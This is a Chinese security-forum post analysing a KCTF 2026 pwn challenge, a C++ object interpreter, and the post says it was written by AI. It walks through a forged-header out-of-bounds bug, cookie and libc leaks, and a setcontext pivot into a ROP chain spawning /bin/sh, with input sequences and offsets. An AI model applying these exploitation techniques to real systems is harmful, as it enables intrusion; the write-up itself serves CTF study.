首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
CTF对抗
发新帖
0
4
[原创]KCTF 2026 - 第十题:卯时·曦光初现 分析
发表于: 2026-8-23 16:07
416
[原创]KCTF 2026 - 第十题:卯时·曦光初现 分析
V1NKe
2
2026-8-23 16:07
416
## 1. 二进制概况 目标文件:`./pwn` - 架构:`x86-64` - 语言:C++,实现了一个小型表达式/对象解释器 - 保护: - PIE: 开启 - NX: 开启 - Stack Canary: 开启 - RELRO: Full RELRO - 附件 libc:`libc-2.27.so` 程序入口 `main`(偏移 `0x2d09`)是一个 REPL: - 每次输出 `> ` - 用 `std::istream::getline(buf, 256)` 读一行 - `sub_2B14` 把这一行解析成 AST - 调用 AST 的第一个虚函数执行 - 再调用虚析构释放 AST 因此主要攻击面在每行最多 255 字节的解释器语言。 ### 1.1 输入与执行模型 `main` 是一个 REPL: 1. 输出提示符 `> `。 2. 用 `std::istream::getline(buf, 256)` 读入一行。 3. 调用解析器把这一行解析成一棵 AST。 4. 调用 AST root 的第一个虚函数执行该行。 5. 调用 AST root 的 deleting destructor 释放该 AST。 因此每一行都是一条独立语句,语句执行完后 AST 会被释放;但解释器变量和运行时对象会保留。 ### 1.2 语言语法 识别出的语句/表达式类型包括: - `Number`:数字字面量 - `Object`:数组/嵌套对象字面量 - `AssignLit`:`$dst = literal` - `GetField`:`$dst = $src[i][j]...` - `SetField`:`$dst[i][j]... = $src` - `BinOp`:`$a + $b`、`$a - $b`、`$a * $b`、`$a / $b`、`$a % $b`、`$a ^ $b`、`$a | $b`、`$a & $b` 核心语法: ```text $1=123 # Number 赋值 $1=[1,2,[3,4]] # Object 赋值,分配到自定义堆 $2=$1 # 拷贝变量 $2=$1[0][1] # GetField $1[0][1]=$2 # SetField $1+$2 # BinOp,实际是 $1 = $1 + $2 $1-$2 $1*$2 $1/$2 $1%$2 $1^$2 $1|$2 $1&$2 ``` 变量是固定 256 个 qword: ```c uint64_t vars[256]; // PIE + 0x2062a0 ``` 变量下标在执行时检查 `<= 0xff`。 ### 1.3 自定义对象堆 程序初始化时分配一个 0x10000 字节的运行时对象堆,并从 `/dev/urandom` 读 8 字节作为 cookie: ```c heap_base = new char[0x10000]; // PIE + 0x206aa0 heap_cur = heap_base; // PIE + 0x206aa8 cookie = read8("/dev/urandom"); // PIE + 0x206ab0 ``` 执行 `$n=[...]` 时,会把对象序列化到这个堆里,并返回一个带标签的引用: ```c object_ref = 0x1337000000000000 | heap_addr; ``` ### 1.4 堆对象序列化格式 对象堆中每个 qword 都和 cookie 异或存储: ```c // Object header *q = cookie ^ (0xBEEF000000000000 | direct_child_count); // Number field *q = cookie ^ (number & 0xffffffffffff); ``` `GetField` / `SetField` 通过 `sub_1EDA` 在序列化对象中定位字段。定位逻辑会递归识别嵌套对象头: ```c v = *slot ^ cookie; if ((v & 0xffff000000000000) == 0xBEEF000000000000) slot = skip_nested_object(slot, v & 0xffffffffffff); else slot++; ``` 也就是说:只要某个字段解码后的高 16 bit 是 `0xBEEF`,遍历器就把它当成嵌套对象头,并用低 48 bit 作为子对象大小来跳过它。 ## 2. 漏洞点 ### 2.1 核心漏洞:伪造嵌套对象头造成递归 skip 信任错误 漏洞不是简单的 `$obj[大下标]` 越界;外层索引本身是有检查的。 问题在于:`SetField` 可以把任意 64-bit 值写入一个普通标量字段,只要求目标字段当前不是对象头;但它不禁止写入一个伪造对象头: ```c *slot = cookie ^ value; ``` 另一方面,虽然 `Number` 赋值会被截断到 48 bit,但 `BinOp` 的乘法、或、异或等运算是完整 64-bit。因此可以构造出高 16 bit 为 `0xBEEF` 的值: ```text $2=4294967296 # 0x100000000 $3=3203334144 # 0xbeef0000 $2*$3 # $2 = 0xbeef000000000000 $2|$4 # 拼上 fake_size ``` 把这样的值写入对象字段后,该字段就从“数字”变成了“嵌套对象头”。之后对该对象做一次外层合法的字段访问时,`sub_1EDA` 会信任这个伪造头,把后续字段跳过 attacker-controlled 长度,从而得到可控的前向越界读/写。 最小触发模型: ```text $0=[0,0] $2=4294967296 $3=3203334144 $2*$3 $4=1 $2|$4 # fake header = 0xbeef000000000001 $0[0]=$2 # 字段 0 变成伪造嵌套对象头 $1=$0[1] # 索引 1 合法,但 skip 字段 0 后读到对象外 ``` ### 2.2 cookie 可被泄漏 自定义堆是新分配的,未使用区域初始为 0。利用上面的越界读读到未使用堆字时: ```text read_value = cookie ^ 0 = cookie ``` 所以 cookie 会作为普通变量进入解释器变量区。 一旦拿到 cookie,越界写任意原始值 `X` 就变成了: ```text enc = X ^ cookie SetField 写入后:cookie ^ enc = X ``` 因此 cookie 只能防止“不知道 cookie 时直接伪造堆数据”,不能阻止已经形成越界读写后的利用。 ### 2.3 堆后内存包含可计算的库指针和堆指针 自定义堆结束后,相邻内存里有初始化阶段留下的指针。对题目 libc-2.27 环境,稳定可用: ```text heap_base + 0x100e8 -> _IO_file_jumps heap_base + 0x10098 -> heap_base + 0x100f0 ``` 所以可以在解释器内部计算: ```text libc_base = read(heap_base + 0x100e8) - 0x3e82a0 heap_base = read(heap_base + 0x10098) - 0x100f0 ``` 这些值不需要打印出来;它们作为变量留在解释器里,继续参与后续运算即可。 ### 2.4 控制流劫持点:AST root 的 deleting destructor 每行执行完后,main 会调用: ```c call qword [root_vptr + 0x10] ``` 如果能改写当前行 AST root 的 vptr,就能在执行结束后劫持控制流。 本题最终选择劫持一个 `SetField` 语句自己的 AST root:该语句在执行阶段完成最后一次越界写,返回后 main 立即调用它的虚析构。 题目 glibc-2.27 布局下,固定输入序列中最终 `SetField` root 的位置是: ```text final_root = heap_base + 0x102f0 ``` 补充:在调试机较新的系统 libc 环境下,这个偏移是 `heap_base + 0x102a0`;所以换 libc 时不仅要换符号偏移,也要重测 AST/堆布局偏移。 ## 3. 漏洞利用的整体逻辑 整体目标是:把“伪造对象头越界读写”升级为“改写当前 AST root 的 vptr”,再通过 `setcontext` pivot 到 ROP,执行 `system("/bin/sh")`。 ### 3.1 建立越界读写原语 先构造 `0xBEEF000000000000`: ```text $18=4294967296 $3=3203334144 $18*$3 ``` 之后每次需要一个 fake size `K` 时: ```text $4=K $2=$18 $2|$4 $0[0]=$2 ``` 对于 `$0=[0,0]` 这种对象,字段 0 被伪造后,`$0[1]` 会落到对象外。 对于多字段对象 `$0=[0,0,...,0]`,字段 0 的 fake size 固定为 `K` 时: ```text $0[j] 的目标地址 = object_base + 8 * (K + j + 1) ``` 因此一个伪造对象就可以通过不同 `j` 连续写一段内存。 ### 3.2 泄漏 cookie、libc、heap 1. 分配 `$0=[0,0]`,伪造字段 0 的 size 为 1。 2. 执行 `$1=$0[1]`,读到对象结束后的未使用零堆字,得到 cookie。 3. 伪造一个指向 `heap_base + 0x100e8` 的读,得到 `_IO_file_jumps`,再减 `0x3e82a0` 得到 libc base。 4. 伪造一个指向 `heap_base + 0x10098` 的读,得到 `heap_base + 0x100f0`,再减 `0x100f0` 得到 heap base。 ### 3.3 计算 libc 利用地址 在题目 `libc-2.27.so` 中使用: ```text system = libc_base + 0x4f420 setcontext = libc_base + 0x52050 pop rdi ; ret = libc_base + 0x2164f ret = libc_base + 0x8aa /bin/sh = libc_base + 0x1b3d88 _exit = libc_base + _exit 偏移 ``` 这些都在解释器内部用变量运算完成,不依赖程序打印。 ### 3.4 预写最终 AST root 附近内存 最终要劫持的 `SetField` root 为: ```text final_root = heap_base + 0x102f0 ``` 在最终触发语句之前,用一个大多字段对象做连续写原语,把 final_root 后面预写成 fake vtable + ucontext + ROP。 关键布局是: ```text final_root + 0x00 = final_root + 0x60 # 最后触发时才写,覆盖 root vptr final_root + 0x70 = setcontext # [vptr+0x10],main 的析构调用点 final_root + 0xa0 = final_root + 0x108 # ucontext.rsp final_root + 0xa8 = pop rdi ; ret # ucontext.rip final_root + 0xe0 = final_root + 0x140 # ucontext.fpstate,避免 fldenv 读空指针 final_root + 0x128 = 0 # sigmask final_root + 0x1c0 = 0 # mxcsr 合法值 final_root + 0x108 = /bin/sh final_root + 0x110 = system final_root + 0x118 = pop rdi ; ret final_root + 0x120 = 0 final_root + 0x128 = ret final_root + 0x130 = _exit ``` 最后一条 `SetField` 语句执行时,把 `final_root + 0x00` 改成 `final_root + 0x60`。该语句返回后,main 调用: ```text call qword [final_root + 0x70] ``` 也就是调用 `setcontext(final_root)`。 ### 3.5 pivot 到 system("/bin/sh") `setcontext` 从 fake ucontext 恢复寄存器: ```text rsp = final_root + 0x108 rip = pop rdi ; ret ``` 随后栈上依次是: ```text /bin/sh system pop rdi ; ret 0 ret _exit ``` 执行效果: ```text rdi = /bin/sh system("/bin/sh") system 返回后 rdi = 0 进入 _exit(0) ``` 使用 `_exit` 而不是 `exit`,是为了避免返回后进入 atexit/free 清理路径时触发堆检查 abort。 ## 4. 总结 本题本质上是一个“序列化对象解释器”的内存破坏题。程序把对象以 cookie 异或后的形式存进自定义堆,并用 `0xBEEF...` 作为嵌套对象头、`0x1337...` 作为对象引用。漏洞点在于字段遍历逻辑会无条件信任字段中出现的 `0xBEEF...` 头,而 `SetField` 又允许把普通字段伪造成这种头;一旦伪造成功,递归 skip 就会按攻击者控制的长度跳过内存,形成稳定的前向越界读写。 利用上,先通过越界读未初始化零堆块拿到 cookie,使异或防护失效;再读取堆后固定位置的 `_IO_file_jumps` 和堆指针,在解释器内部算出 libc base 与 heap base;最后在当前 `SetField` AST root 附近预写 fake vtable、ucontext 和 ROP 链,并让该语句返回前改写自己的 vptr。main 调用 deleting destructor 时进入 `setcontext`,pivot 到 `system("/bin/sh")`,再用 `_exit(0)` 避开堆清理。整个利用不依赖程序回显变量值,所有地址都在解释器内部计算完成,最终实现远程 RCE 并读取 flag。 ## 5. 注 由 AI 完成。
回复或点赞可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
收藏
・
0
点赞
・
4
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
git_99440qimingminimax
为你点赞!
2026-9-23 11:51
git_51951meggadf3df
非常支持你的观点!
2026-9-11 03:49
huangyalei
为你点赞!
2026-8-31 16:12
mb_lthgjpwj
为你点赞!
2026-8-27 15:27
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
mb_fabrnyzx
雪 币:
200
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
13
粉丝
0
关注
私信
mb_fabrnyzx
2
楼
6
2026-10-6 11:57
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
V1NKe
2
12
发帖
56
回帖
196
RANK
关注
私信
他的文章
[原创]KCTF 2026 - 第十题:卯时·曦光初现 分析
414
[原创]KCTF 2026 - 第九题:丑寅同墟·星海抉择 分析
29
[原创]KCTF 2026 - 第二题:巳时·绿光幽语 分析
718
[原创]KCTF 2026 - 签到题:辰时·钟鸣破晓 分析
162
[原创]Tcache利用总结
17998
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部